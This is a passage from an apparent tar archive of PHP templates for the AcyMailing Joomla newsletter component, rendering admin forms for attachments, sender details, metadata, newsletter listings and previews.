						echo '<td><input value="'.$key.'" name="socialshare" id="'.$key.'" type="checkbox" onclick="updateTag();" /> ';
						echo '<label for="'.$key.'">'.$oneSocial.'</label></td>';
						$cpt++;
					}
					while($cpt != 4){
						$cpt++;
						echo '<td/>';
					}
					?>
				</tr>
			</table>
			<a class="acymailing_button" style="width: 95%; text-align: center" onclick="insertTagCurrent(); return false;"><?php echo acymailing_translation('INSERT_TAG'); ?></a>
		</div>
	<?php } ?>
	<?php echo $this->tabs->endPanel(); ?>
	<?php echo $this->tabs->startPanel(acymailing_translation('ATTACHMENTS'), 'mail_attachments'); ?>
	<br style="font-size:1px"/>

	<div class="acyblockoptions" style="float:none;">
		<?php if(!empty($this->mail->attach)){
			echo '<div class="acyblockoptions" style="float:none;">
				<span class="acyblocktitle">'.acymailing_translation('ATTACHED_FILES').'</span>';
			foreach($this->mail->attach as $idAttach => $oneAttach){
				$idDiv = 'attach_'.$idAttach;
				echo '<div id="'.$idDiv.'">'.$oneAttach->filename.' ('.(round($oneAttach->size / 1000, 1)).' Ko)';
				echo $this->toggleClass->delete($idDiv, $this->mail->mailid.'_'.$idAttach, 'mail');
				echo '</div>';
			}

			echo '</div>';
		} ?>
		<div id="loadfile">
			<?php
			$uploadfileType = acymailing_get('type.uploadfile');
			for($i = 0; $i < 10; $i++){
				echo '<div'.($i == 0 ? '' : ' style="display:none;"').' id="attachmentsdiv'.$i.'">'.$uploadfileType->display(false, 'attachments', $i).'<a style="display:none" href="javascript:void(0);" id="attachments'.$i.'suppr" onclick="deleteAttachment('.$i.');"><span class="hasTooltip acyicon-delete" title="Delete" ></span></a></div>';
			}
			?>
		</div>
		<a href="javascript:void(0);" onclick='addFileLoader()'><?php echo acymailing_translation('ADD_ATTACHMENT'); ?></a>
		<?php echo acymailing_translation_sprintf('MAX_UPLOAD', $this->values->maxupload); ?>
	</div>
	<?php echo $this->tabs->endPanel();
	echo $this->tabs->startPanel(acymailing_translation('SENDER_INFORMATIONS'), 'mail_sender');
	$config = acymailing_config(); ?>
	<br style="font-size:1px"/>

	<div class="onelineblockoptions">
		<table width="100%" class="acymailing_smalltable">
			<tr>
				<td class="paramlist_key">
					<?php echo acymailing_translation('FROM_NAME'); ?>
				</td>
				<td class="paramlist_value">
					<input placeholder="<?php echo acymailing_translation('USE_DEFAULT_VALUE'); ?>" class="inputbox" type="text" id="fromname" name="data[mail][fromname]" style="width:200px" value="<?php echo $this->escape($this->mail->fromname); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="paramlist_key">
					<?php echo acymailing_translation('FROM_ADDRESS'); ?>
				</td>
				<td class="paramlist_value">
					<input onchange="validateEmail(this.value, '<?php echo addslashes(acymailing_translation('FROM_ADDRESS')); ?>')" placeholder="<?php echo acymailing_translation('USE_DEFAULT_VALUE'); ?>" class="inputbox" type="text" id="fromemail" name="data[mail][fromemail]" style="width:200px" value="<?php echo $this->escape($this->mail->fromemail); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="paramlist_key">
					<?php echo acymailing_translation('REPLYTO_NAME'); ?>
				</td>
				<td class="paramlist_value">
					<input placeholder="<?php echo acymailing_translation('USE_DEFAULT_VALUE'); ?>" class="inputbox" type="text" id="replyname" name="data[mail][replyname]" style="width:200px" value="<?php echo $this->escape($this->mail->replyname); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="paramlist_key">
					<?php echo acymailing_translation('REPLYTO_ADDRESS'); ?>
				</td>
				<td class="paramlist_value">
					<input onchange="validateEmail(this.value, '<?php echo addslashes(acymailing_translation('REPLYTO_ADDRESS')); ?>')" placeholder="<?php echo acymailing_translation('USE_DEFAULT_VALUE'); ?>" class="inputbox" type="text" id="replyemail" name="data[mail][replyemail]" style="width:200px" value="<?php echo $this->escape($this->mail->replyemail); ?>"/>
				</td>
			</tr>
		</table>
	</div>
	<?php echo acymailing_getFunctionsEmailCheck();

	echo $this->tabs->endPanel();
	$this->config = acymailing_config();
	if(acymailing_level(3) && acymailing_isAllowed($this->config->get('acl_newsletters_inbox_actions', 'all')) && acymailing_isPluginEnabled('acymailing', 'plginboxactions')) include(ACYMAILING_BACK.'views'.DS.'newsletter'.DS.'tmpl'.DS.'inboxactions.php');
	echo $this->tabs->endPane(); ?>
com_acymailing/views/email/tmpl/listing.php000060400000005463152455305300015107 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl')); ?>&tmpl=component" method="post" name="adminForm" id="adminForm">
	<table class="acymailing_table_options">
		<tr>
			<td width="100%">
				<?php acymailing_listingsearch($this->pageInfo->search); ?>
			</td>
			<td nowrap="nowrap">
				<?php echo $this->filters->category; ?>
			</td>
		</tr>
	</table>

	<table class="acymailing_table" cellpadding="1">
		<thead>
			<tr>
				<th class="title titlenum">
					<?php echo acymailing_translation('ACY_NUM'); ?>
				</th>
				<th class="title titlebox">
					<input type="checkbox" name="toggle" value="" onclick="acymailing.checkAll(this);"/>
				</th>
				<th class="title titlecolor">

				</th>
				<th class="title">
					<?php echo acymailing_translation('LIST_NAME'); ?>
				</th>
				<th class="title titlesender">
					<?php echo acymailing_translation('CREATOR'); ?>
				</th>
				<th class="title titleid">
					<?php echo acymailing_translation('ACY_ID'); ?>
				</th>
			</tr>
		</thead>
		<tfoot>
			<tr>
				<td colspan="12">
					<?php
					echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter();
					?>
				</td>
			</tr>
		</tfoot>
		<tbody id="acymailing_sortable_listing">
		<?php
		$k = 0;
		$ordering = '';
		for($i = 0; $i < count($this->rows); $i++){
			$row =& $this->rows[$i];
			$ordering .= ',"order['.$i.']='.$row->ordering.'"';

			$publishedid = 'published_'.$row->listid;
			$visibleid = 'visible_'.$row->listid;
			?>
			<tr class="<?php echo "row$k"; ?>">
				<td align="center" style="text-align:center">
					<?php echo $this->pagination->getRowOffset($i); ?>
				</td>
				<td align="center" style="text-align:center">
					<?php echo acymailing_gridID($i, $row->listid); ?>
				</td>
				<td width="12">
					<?php echo '<div class="roundsubscrib rounddisp" style="background-color:'.$this->escape($row->color).'"></div>'; ?>
				</td>
				<td>
					<?php
					echo acymailing_tooltip($row->description, $row->name, 'tooltip.png', $row->name);
					?>
				</td>
				<td align="center" style="text-align:center">
					<?php if(!empty($row->userid)) echo $row->creatorname; ?>
				</td>
				<td align="center" style="text-align:center">
					<?php echo $row->listid; ?>
				</td>
			</tr>
			<?php
			$k = 1 - $k;
		}
		?>
		</tbody>
	</table>

	<input type="hidden" name="articleId" value="<?php echo acymailing_getVar('int', 'articleId'); ?>">
	<?php
		$order = new stdClass();
		$order->value = 'name';
		$order->dir = 'asc';
		acymailing_formOptions($order, 'chooseListBeforeSend');
	?>
</form>
com_acymailing/views/email/tmpl/form.php000060400000003271152455305300014374 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl'), true); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off" enctype="multipart/form-data">
		<div id="iframetemplate"></div>
		<div id="iframetag"></div>

		<?php include(dirname(__FILE__).DS.'param.'.basename(__FILE__)); ?>
		<br/>

		<div class="onelineblockoptions" id="htmlfieldset"<?php if(empty($this->mail->html)) echo ' style="display:none;"'; ?>>
			<span class="acyblocktitle"><?php echo acymailing_translation('HTML_VERSION'); ?></span>
			<?php echo $this->editor->display(); ?>
		</div>
		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('TEXT_VERSION'); ?></span>
			<textarea onClick="zoneToTag='altbody';" style="width:98%;min-height:150px;" rows="20" name="data[mail][altbody]" id="altbody" placeholder="<?php echo acymailing_translation('AUTO_GENERATED_HTML'); ?>"><?php echo @$this->mail->altbody; ?></textarea>
		</div>

		<div class="clr"></div>
		<input type="hidden" name="cid[]" value="<?php echo @$this->mail->mailid; ?>"/>
		<?php if(!empty($this->mail->type)){ ?>
			<input type="hidden" name="data[mail][type]" value="<?php echo $this->mail->type; ?>"/>
		<?php } ?>
		<input type="hidden" id="tempid" name="data[mail][tempid]" value="<?php echo @$this->mail->tempid; ?>"/>
		<?php acymailing_formOptions(); ?>
	</form>
</div>
com_acymailing/views/email/tmpl/index.html000060400000000054152455305300014711 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/newsletter/tmpl/param.form.php000060400000020653152455305300016603 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(acymailing_isAllowed($this->config->get('acl_newsletters_lists', 'all')) || acymailing_isAllowed($this->config->get('acl_newsletters_attachments', 'all')) || acymailing_isAllowed($this->config->get('acl_newsletters_sender_informations', 'all')) || acymailing_isAllowed($this->config->get('acl_newsletters_meta_data', 'all')) || (acymailing_isAllowed($this->config->get('acl_newsletters_inbox_actions', 'all')) && acymailing_isPluginEnabled('acymailing', 'plginboxactions'))){ ?>
	<div id="newsletterparams">

		<?php echo $this->tabs->startPane('news_tab');

		if(!acymailing_isAllowed($this->config->get('acl_newsletters_lists', 'all')) || $this->type == 'joomlanotification'){
			acymailing_addStyle(true, " .mail_receivers_acl{display:none;} ");
			echo '<div class="mail_receivers_acl">';
		}else{
			echo $this->tabs->startPanel(acymailing_translation('LISTS'), 'mail_receivers');
		} ?>
		<?php
		if(empty($this->lists)){
			echo '<span>'.acymailing_translation('LIST_CREATE').'</span>';
		}else{
			echo '<span>'.acymailing_translation('LIST_RECEIVERS').'</span>';
			include_once(ACYMAILING_BACK.'views'.DS.'newsletter'.DS.'tmpl'.DS.'filter.lists.php');

			if(acymailing_level(2) && acymailing_isAllowed($this->config->get('acl_lists_filter', 'all'))) include_once(dirname(__FILE__).DS.'filters.php');
		}
		if(!acymailing_isAllowed($this->config->get('acl_newsletters_lists', 'all')) || $this->type == 'joomlanotification'){
			echo '</div>';
		}else echo $this->tabs->endPanel();

		if(acymailing_isAllowed($this->config->get('acl_newsletters_attachments', 'all'))){
			echo $this->tabs->startPanel(acymailing_translation('ATTACHMENTS'), 'mail_attachments');
			if(!empty($this->mail->attach)){
				echo '<div class="onelineblockoptions">
					<span class="acyblocktitle">'.acymailing_translation('ATTACHED_FILES').'</span>';

				foreach($this->mail->attach as $idAttach => $oneAttach){
					$idDiv = 'attach_'.$idAttach;
					echo '<div id="'.$idDiv.'" style="text-overflow: ellipsis;overflow: hidden;" title="'.$oneAttach->filename.'">'.$oneAttach->filename.' ('.(round($oneAttach->size / 1000, 1)).' Ko)';
					echo $this->toggleClass->delete($idDiv, $this->mail->mailid.'_'.$idAttach, 'mail');
					echo '</div>';
				}

				echo '</div>';
			} ?>
			<div id="loadfile">
				<?php
				$uploadfileType = acymailing_get('type.uploadfile');
				for($i = 0; $i < 10; $i++){
					echo '<div'.($i == 0 ? '' : ' style="display:none;"').' id="attachmentsdiv'.$i.'">'.$uploadfileType->display(false, 'attachments', $i).'<a style="display:none" href="javascript:void(0);" id="attachments'.$i.'suppr" onclick="deleteAttachment('.$i.');"><span class="hasTooltip acyicon-delete" title="Delete" ></span></a></div>';
				}
				?>
			</div>
			<a href="javascript:void(0);" onclick='addFileLoader()'><?php echo acymailing_translation('ADD_ATTACHMENT'); ?></a>
			<?php echo acymailing_translation_sprintf('MAX_UPLOAD', $this->values->maxupload); ?>
			<?php echo $this->tabs->endPanel();
		}

		if(!acymailing_isAllowed($this->config->get('acl_newsletters_sender_informations', 'all'))){
			acymailing_addStyle(true, " .mail_sender_acl{display:none;} ");
			echo '<div id="mail_sender_acl" style="display:none" >';
		}else{
			echo $this->tabs->startPanel(acymailing_translation('SENDER_INFORMATIONS'), 'mail_sender');
		} ?>
		<table width="100%" class="acymailing_table" id="senderinformationfieldset">
			<tr>
				<td class="paramlist_key">
					<label for="fromname"><?php echo acymailing_translation('FROM_NAME'); ?></label>
				</td>
				<td class="paramlist_value">
					<input placeholder="<?php echo acymailing_translation('USE_DEFAULT_VALUE'); ?>" class="inputbox" id="fromname" type="text" name="data[mail][fromname]" style="width:200px; max-width:80%;" value="<?php echo $this->escape(@$this->mail->fromname); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="paramlist_key">
					<label for="fromemail"><?php echo acymailing_translation('FROM_ADDRESS'); ?></label>
				</td>
				<td class="paramlist_value">
					<input onchange="validateEmail(this.value, '<?php echo addslashes(acymailing_translation('FROM_ADDRESS')); ?>')" placeholder="<?php echo acymailing_translation('USE_DEFAULT_VALUE'); ?>" class="inputbox" id="fromemail" type="text" name="data[mail][fromemail]" style="width:200px; max-width:80%;" value="<?php echo $this->escape(@$this->mail->fromemail); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="paramlist_key">
					<label for="replyname"><?php echo acymailing_translation('REPLYTO_NAME'); ?></label>
				</td>
				<td class="paramlist_value">
					<input placeholder="<?php echo acymailing_translation('USE_DEFAULT_VALUE'); ?>" class="inputbox" id="replyname" type="text" name="data[mail][replyname]" style="width:200px; max-width:80%;" value="<?php echo $this->escape(@$this->mail->replyname); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="paramlist_key">
					<label for="replyemail"><?php echo acymailing_translation('REPLYTO_ADDRESS'); ?></label>
				</td>
				<td class="paramlist_value">
					<input onchange="validateEmail(this.value, '<?php echo addslashes(acymailing_translation('REPLYTO_ADDRESS')); ?>')" placeholder="<?php echo acymailing_translation('USE_DEFAULT_VALUE'); ?>" class="inputbox" id="replyemail" type="text" name="data[mail][replyemail]" style="width:200px; max-width:80%;" value="<?php echo $this->escape(@$this->mail->replyemail); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="paramlist_key">
					<label for="bccaddresses"><?php echo acymailing_translation('ACY_BCC_ADDRESS'); ?></label>
				</td>
				<td class="paramlist_value">
					<input placeholder="address@example.com" class="inputbox" id="bccaddresses" type="text" name="data[mail][bccaddresses]" style="width:200px; max-width:80%;" value="<?php echo $this->escape(@$this->mail->bccaddresses); ?>"/>
				</td>
			</tr>
			<?php
			if(acymailing_level(1)){
				echo '<tr>
					<td class="paramlist_key">'.acymailing_translation('FAVICON').'</td><td class="paramlist_value">';
				if(!empty($this->mail->favicon) && !empty($this->mail->favicon->filename)){
					echo '<div id="attach_favicon">'.$this->mail->favicon->filename.' ('.(round($this->mail->favicon->size / 1000, 1)).' Ko)';
					echo $this->toggleClass->delete('attach_favicon', $this->mail->mailid.'_favicon', 'favicon');
					echo '</div>';
				}
				?>
				<div id="loadfile">
					<?php
					echo '<div id="favicondiv">'.$uploadfileType->display(false, 'favicon', '').'</div>';
					?>
				</div>
				<?php echo acymailing_translation_sprintf('MAX_UPLOAD', $this->values->maxupload);
				echo '</td></tr>';
			} ?>
		</table>

		<?php echo acymailing_getFunctionsEmailCheck();

		if(!acymailing_isAllowed($this->config->get('acl_newsletters_sender_informations', 'all'))){
			echo '</div>';
		}else{
			echo $this->tabs->endPanel();
		}

		if($this->type == 'joomlanotification'){
			acymailing_addStyle(true, " .mail_metadata_jnotif{display:none;} ");
			echo '<div class="mail_metadata_jnotif">';
		}else{
			if(acymailing_isAllowed($this->config->get('acl_newsletters_meta_data', 'all'))){
				echo $this->tabs->startPanel(acymailing_translation('META_DATA'), 'mail_metadata'); ?>
				<table width="100%" class="acymailing_table" id="metadatatable">
					<tr>
						<td class="paramlist_key">
							<label for="metakey"><?php echo acymailing_translation('META_KEYWORDS'); ?></label>
						</td>
						<td class="paramlist_value">
							<textarea id="metakey" name="data[mail][metakey]" rows="5" style="width:200px; max-width:80%;"><?php echo @$this->mail->metakey; ?></textarea>
						</td>
					</tr>
					<tr>
						<td class="paramlist_key">
							<label for="metadesc"><?php echo acymailing_translation('META_DESC'); ?></label>
						</td>
						<td class="paramlist_value">
							<textarea id="metadesc" name="data[mail][metadesc]" rows="5" style="width:200px; max-width:80%;"><?php echo @$this->mail->metadesc; ?></textarea>
						</td>
					</tr>
				</table>
				<?php
				echo $this->tabs->endPanel();
			}
		}
		if($this->type == 'joomlanotification') echo '</div>';
		if(acymailing_level(3) && acymailing_isAllowed($this->config->get('acl_newsletters_inbox_actions', 'all')) && acymailing_isPluginEnabled('acymailing', 'plginboxactions')) include(dirname(__FILE__).DS.'inboxactions.php');
		echo $this->tabs->endPane(); ?>
	</div>
<?php } ?>
com_acymailing/views/newsletter/tmpl/upload.php000060400000001563152455305300016024 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<form action="<?php echo acymailing_completeLink('file', true); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off" enctype="multipart/form-data">
		<div id="iframedoc"></div>
		<div style="text-align:center;padding-top:20px;"><input type="file" style="width:auto" name="uploadedfile"/><br />
			<?php echo (acymailing_translation_sprintf('MAX_UPLOAD', (acymailing_bytes(ini_get('upload_max_filesize')) > acymailing_bytes(ini_get('post_max_size'))) ? ini_get('post_max_size') : ini_get('upload_max_filesize'))); ?>
		</div>
		<?php acymailing_formOptions(); ?>
	</form>
</div>
com_acymailing/views/newsletter/tmpl/previewcontent.php000060400000006320152455305300017610 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php if($this->mail->html){ ?>
	<style type="text/css">
		.previewsize{
			background-image: url('<?php echo ACYMAILING_IMAGES?>preview_icons.png');
			background-repeat: no-repeat;
			cursor: pointer;
			height: 25px;
			display: block;
			float: left;
			margin-right: 5px;
		}

		.previewpict:hover, .previewpictenabled{
			background-position: -284px 0px;
		}

		.previewpict, .previewpictenabled:hover{
			background-position: -284px -33px;
		}

		.preview320{
			background-position: 0px 0px;
		}

		.preview320:hover, .preview320enabled{
			background-position: 0px -33px;
		}

		.preview480{
			background-position: -65px 0px;
		}

		.preview480:hover, .preview480enabled{
			background-position: -65px -33px;
		}

		.preview768{
			background-position: -136px 0px;
		}

		.preview768:hover, .preview768enabled{
			background-position: -136px -33px;
		}

		.previewmax{
			background-position: -211px 0px;
		}

		.previewmax:hover, .previewmaxenabled{
			background-position: -211px -33px;
		}
	</style>

	<div class="<?php echo acymailing_isAdmin() ? 'acyblockoptions' : 'onelineblockoptions'; ?> acyblock_newsletter" width="100%" id="htmlfieldset" style="clear:both;">
		<span class="acyblocktitle donotprint"> <?php echo acymailing_translation('HTML_VERSION'); ?></span>

		<div style="float:right;width:340px;clear:both" id="acypreview_resize">
			<span class="previewsize preview320" id="preview320" style="width:55px;" onclick="previewResize('342px','480px');previewSizeClick(this);"></span>
			<span class="previewsize preview480" id="preview480" style="width:61px;" onclick="previewResize('502px','320px');previewSizeClick(this);"></span>
			<span class="previewsize preview768" id="preview768" style="width:65px" onclick="previewResize('790px','1024px');previewSizeClick(this);"></span>
			<span class="previewsize previewmaxenabled" id="previewmax" style="width:63px;" onclick="previewResize('100%','100%');previewSizeClick(this);"></span>
			<span class="previewsize previewpictenabled" id="previewpict" style="width:46px;margin-left:20px;" onclick="switchPict();"></span>
		</div>

		<div class="newsletter_body" id="newsletter_preview_area"><?php echo $this->mail->body; ?></div>

	</div>
<?php
} ?>

<div class="<?php echo (acymailing_isAdmin() ? 'acyblockoptions' : 'onelineblockoptions'); ?> acyblock_newsletter donotprint" id="textfieldset">
	<span class="acyblocktitle donotprint"><?php echo acymailing_translation('TEXT_VERSION'); ?></span>
	<?php echo nl2br($this->escape($this->mail->altbody)); ?>
</div>
<?php
if(!empty($this->mail->attachments)){
	echo '<div class="'.(acymailing_isAdmin() ? 'acyblockoptions' : 'onelineblockoptions').' newsletter_attachments donotprint adminform">
		<span class="acyblocktitle">'.acymailing_translation('ATTACHMENTS').'</span>
		<table>';
	foreach($this->mail->attachments as $attachment){
		echo '<tr><td><a href="'.$attachment->url.'" target="_blank">'.$attachment->name.'</a></td></tr>';
	}
	echo '</table></div>';
}
?>

<div class="clr"></div>
com_acymailing/views/newsletter/tmpl/listing.php000060400000022263152455305300016211 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content" class="acynewsletterlisting">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl')); ?>" method="post" name="adminForm" id="adminForm">
		<table class="acymailing_table_options">
			<?php if(acymailing_isAdmin()){ ?>
			<tr>
				<td nowrap="nowrap" width="100%">
					<?php acymailing_listingsearch($this->pageInfo->search); ?>
				</td>
				<td nowrap="nowrap">
					<?php echo $this->filters->list;
					echo $this->filters->creator;
					echo $this->filters->date;
					echo $this->filters->type;
					echo $this->filters->tags; ?>
				</td>
			</tr>
			<?php }else{ ?>
			<tr>
				<td nowrap="nowrap" width="100%">
					<?php acymailing_listingsearch($this->pageInfo->search); ?>
				</td>
				<td>
					<?php echo $this->filters->list; ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo $this->filters->tags; ?>
				</td>
				<td valign="top">
					<?php echo $this->filters->date; ?>
				</td>
			</tr>
			<?php } ?>
		</table>

		<table class="acymailing_table">
			<thead>
			<tr>
				<th class="title titlenum">
					<?php echo acymailing_translation('ACY_NUM'); ?>
				</th>
				<th class="title titlebox">
					<input type="checkbox" name="toggle" value="" onclick="acymailing.checkAll(this);"/>
				</th>
				<th class="title" colspan="3">
					<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_SUBJECT'), 'a.subject', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<?php if(acymailing_isAdmin()){ ?>
					<th class="title titlelist" style="text-align: left;">
						<?php echo acymailing_translation('LISTS'); ?>
					</th>
				<?php } ?>
				<th class="title titledate">
					<?php echo acymailing_gridSort(acymailing_translation('SEND_DATE'), 'a.senddate', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title titlesender">
					<?php echo acymailing_gridSort(acymailing_translation('SENDER_INFORMATIONS'), 'a.fromname', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title titlesender">
					<?php echo acymailing_gridSort(acymailing_translation('CREATOR'), 'b.name', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<?php if(acymailing_isAdmin()){ ?>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_VISIBLE'), 'a.visible', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_PUBLISHED'), 'a.published', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
				<?php } ?>
				<th class="title titleid">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'a.mailid', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
			</tr>
			</thead>
			<tfoot>
			<tr>
				<td colspan="11">
					<?php echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter(); ?>
				</td>
			</tr>
			</tfoot>
			<tbody>
			<?php
			$k = 0;
			$i = 0;
			foreach($this->rows as &$row){
				$publishedid = 'published_'.$row->mailid;
				$visibleid = 'visible_'.$row->mailid;
				?>
				<tr class="<?php echo "row$k"; ?>">
					<td align="center" style="text-align:center">
						<?php echo $this->pagination->getRowOffset($i); ?>
					</td>
					<td align="center" style="text-align:center">
						<?php echo acymailing_gridID($i, $row->mailid); ?>
					</td>
					<td align="center" style="text-align:center; width: 25px;">
						<?php
						if(acymailing_level(2)){
							if(acymailing_isAllowed($this->config->get('acl_statistics_manage', 'all')) && !empty($row->senddate)){
								if(acymailing_isAdmin()){
									$urlStat = acymailing_completeLink('diagram&task=mailing&mailid='.$row->mailid, true);
								}else{
									$urlStat = acymailing_completeLink('frontdiagram&task=mailing&mailid='.$row->mailid, true);
								} ?>
								<span class="acystatsbutton"><?php echo acymailing_popup($urlStat, acymailing_isAdmin() ? '<i class="acyicon-statistic"></i>' : '<img src="'.ACYMAILING_IMAGES.'icons/icon-16-stats.png" alt="'.acymailing_translation('STATISTICS', true).'"/>', '', 800, 590); ?></span>
							<?php }
						} ?>
					</td>
					<td align="center" style="text-align:center; width: 18px;">
						<?php
						if(acymailing_isAdmin()){
							if(acymailing_level(3) && acymailing_isAllowed($this->config->get('acl_'.$this->aclCat.'_abtesting', 'all')) && !empty($row->abtesting)){
								$abDetail = unserialize($row->abtesting);
								$urlAbTest = acymailing_completeLink('newsletter&task=abtesting&mailid='.$abDetail['mailids'], true);
								?>
								<span class="acyabtestbutton"><?php echo acymailing_popup($urlAbTest, acymailing_isAdmin() ? '<i class="acyicon-ABtesting"></i>' : '<img src="'.ACYMAILING_IMAGES.'icons/icon-16-acyabtesting.png" alt="'.acymailing_translation('ABTESTING', true).'"/>', '', 800, 590); ?></span>
							<?php }
						}
						?>
					</td>
					<td>
						<?php
						$row->subject = acyEmoji::Decode($row->subject);
						$subjectLine = acymailing_dispSearch($row->subject, $this->pageInfo->search);
						echo acymailing_tooltip('<b>'.acymailing_translation('JOOMEXT_ALIAS').' : </b>'.acymailing_dispSearch($row->alias, $this->pageInfo->search), '', '', $subjectLine, acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'newsletter&task=edit&mailid='.$row->mailid));
						?>
					</td>
					<?php if(acymailing_isAdmin()){ ?>
						<td>
							<?php
							if(!empty($this->mailToLists[$row->mailid])){
								foreach($this->mailToLists[$row->mailid] as $oneList){
									echo '<div class="roundsubscrib roundsub" style="background-color:'.htmlspecialchars($this->listColor[$oneList]->color, ENT_COMPAT, 'UTF-8').';">'.acymailing_tooltip('', $this->listColor[$oneList]->name, '', '&nbsp;&nbsp;&nbsp;&nbsp;').'</div>';
								}
							}
							?>
						</td>
					<?php } ?>
					<td align="center" style="text-align:center">
						<?php echo acymailing_getDate($row->senddate);
						if(!empty($row->countqueued) && acymailing_isAllowed($this->config->get('acl_queue_delete', 'all'))){ ?>
							<br/>
							<button class="acymailing_button"
									onclick="if(confirm('<?php echo str_replace("'", "\'", acymailing_translation_sprintf('ACY_VALID_DELETE_FROM_QUEUE', $row->countqueued)); ?>')){ window.location.href = '<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'newsletter&task=cancelNewsletter&'.acymailing_getFormToken().'&mailid='.$row->mailid); ?>'; } return false;"><?php echo acymailing_translation('ACY_CANCEL'); ?></button>
						<?php } ?>
					</td>
					<td align="center" style="text-align:center">
						<?php
						if(empty($row->fromname)) $row->fromname = $this->config->get('from_name');
						if(empty($row->fromemail)) $row->fromemail = $this->config->get('from_email');
						if(empty($row->replyname)) $row->replyname = $this->config->get('reply_name');
						if(empty($row->replyemail)) $row->replyemail = $this->config->get('reply_email');
						if(!empty($row->fromname)){
							$text = '<b>'.acymailing_translation('FROM_NAME').' : </b>'.$row->fromname;
							$text .= '<br /><b>'.acymailing_translation('FROM_ADDRESS').' : </b>'.$row->fromemail;
							$text .= '<br /><br /><b>'.acymailing_translation('REPLYTO_NAME').' : </b>'.$row->replyname;
							$text .= '<br /><b>'.acymailing_translation('REPLYTO_ADDRESS').' : </b>'.$row->replyemail;
							echo acymailing_tooltip($text, '', '', $row->fromname);
						}
						?>
					</td>
					<td align="center" style="text-align:center">
						<?php
						if(!empty($row->name)){
							$text = '<b>'.acymailing_translation('JOOMEXT_NAME').' : </b>'.$row->name;
							$text .= '<br /><b>'.acymailing_translation('ACY_USERNAME').' : </b>'.$row->username;
							$text .= '<br /><b>'.acymailing_translation('JOOMEXT_EMAIL').' : </b>'.$row->email;
							$text .= '<br /><b>'.acymailing_translation('ACY_ID').' : </b>'.$row->userid;
							echo acymailing_tooltip($text, $row->name, '', $row->name, acymailing_isAdmin() ? acymailing_userEditLink().$row->userid : '');
						}
						?>
					</td>
					<?php if(acymailing_isAdmin()){ ?>
						<td align="center" style="text-align:center">
							<span id="<?php echo $visibleid ?>" class="loading"><?php echo $this->toggleClass->toggle($visibleid, (int)$row->visible, 'mail') ?></span>
						</td>
						<td align="center" style="text-align:center">
							<span id="<?php echo $publishedid ?>" class="loading"><?php echo $this->toggleClass->toggle($publishedid, (int)$row->published, 'mail') ?></span>
						</td>
					<?php } ?>
					<td width="1%" align="center">
						<?php echo $row->mailid; ?>
					</td>
				</tr>
				<?php
				$k = 1 - $k;
				$i++;
			}
			?>
			</tbody>
		</table>

		<?php acymailing_formOptions($this->pageInfo->filter->order); ?>
	</form>
</div>
